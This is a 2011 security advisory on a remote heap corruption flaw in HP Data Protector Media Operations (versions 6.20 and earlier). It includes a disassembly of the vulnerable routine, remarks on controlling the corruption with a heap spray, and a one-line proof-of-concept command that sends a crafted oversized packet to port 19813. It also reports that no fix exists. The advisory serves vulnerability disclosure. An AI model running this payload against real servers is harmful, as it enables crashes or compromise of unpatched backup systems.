####################################################################### Luigi Auriemma Application: HP Data Protector Media Operations http://www8.hp.com/us/en/software/software-product.html?compURI=tcm:245-936920 Versions: <= 6.20 Platforms: Windows and others Bug: heap corruption Exploitation: remote, versus server Date: 03 Nov 2011 (found 06 Jul 2011) Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== From vendor's homepage: "HP data protection software reduces backup and recovery complexity and cost by protecting virtual and physical applications—whether you have one server or thousands." ####################################################################### ====== 2) Bug ====== Heap overflow/corruption through a big size packet: 0074D210 /$ 8B5424 08 MOV EDX,DWORD PTR SS:[ESP+8] 0074D214 |. 8BC1 MOV EAX,ECX 0074D216 |. 56 PUSH ESI 0074D217 |. 57 PUSH EDI 0074D218 |. 8BB8 7C170000 MOV EDI,DWORD PTR DS:[EAX+177C] 0074D21E |. 8B88 78170000 MOV ECX,DWORD PTR DS:[EAX+1778] 0074D224 |. 2BD7 SUB EDX,EDI 0074D226 |. 3BD1 CMP EDX,ECX 0074D228 |. 7F 53 JG SHORT DBServer.0074D27D 0074D22A |. 53 PUSH EBX 0074D22B |. 8B5C24 10 MOV EBX,DWORD PTR SS:[ESP+10] 0074D22F |. 85DB TEST EBX,EBX 0074D231 |. 74 15 JE SHORT DBServer.0074D248 0074D233 |. 8BCA MOV ECX,EDX 0074D235 |. 03FB ADD EDI,EBX 0074D237 |. 8BD9 MOV EBX,ECX 0074D239 |. 8D70 06 LEA ESI,DWORD PTR DS:[EAX+6] 0074D23C |. C1E9 02 SHR ECX,2 0074D23F |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 0074D241 |. 8BCB MOV ECX,EBX 0074D243 |. 83E1 03 AND ECX,3 0074D246 |. F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> 0074D248 |> 8B88 78170000 MOV ECX,DWORD PTR DS:[EAX+1778] 0074D24E |. 8D7402 06 LEA ESI,DWORD PTR DS:[EDX+EAX+6] 0074D252 |. 2BCA SUB ECX,EDX 0074D254 |. 8D78 06 LEA EDI,DWORD PTR DS:[EAX+6] 0074D257 |. 8988 78170000 MOV DWORD PTR DS:[EAX+1778],ECX 0074D25D |. 8BD1 MOV EDX,ECX 0074D25F |. C1E9 02 SHR ECX,2 0074D262 |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 0074D264 |. 8BCA MOV ECX,EDX 0074D266 |. 5B POP EBX 0074D267 |. 83E1 03 AND ECX,3 0074D26A |. F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> 0074D26C |. C780 7C170000 0>MOV DWORD PTR DS:[EAX+177C],0 0074D276 |. 5F POP EDI 0074D277 |. 33C0 XOR EAX,EAX 0074D279 |. 5E POP ESI 0074D27A |. C2 0800 RETN 8 The corruption can be controlled through the tuning of the packet size and the preceeding heap spray with other valid packets. Note that this function is used for any size field, included the one used for example in the packet 0x10 ("01 02 03 04 10 32bit_size"). ####################################################################### =========== 3) The Code =========== http://aluigi.org/testz/udpsz.zip udpsz -D -T -C 03000001fffff0000102030404 -b a SERVER 19813 65536 ####################################################################### ====== 4) Fix ====== No fix. #######################################################################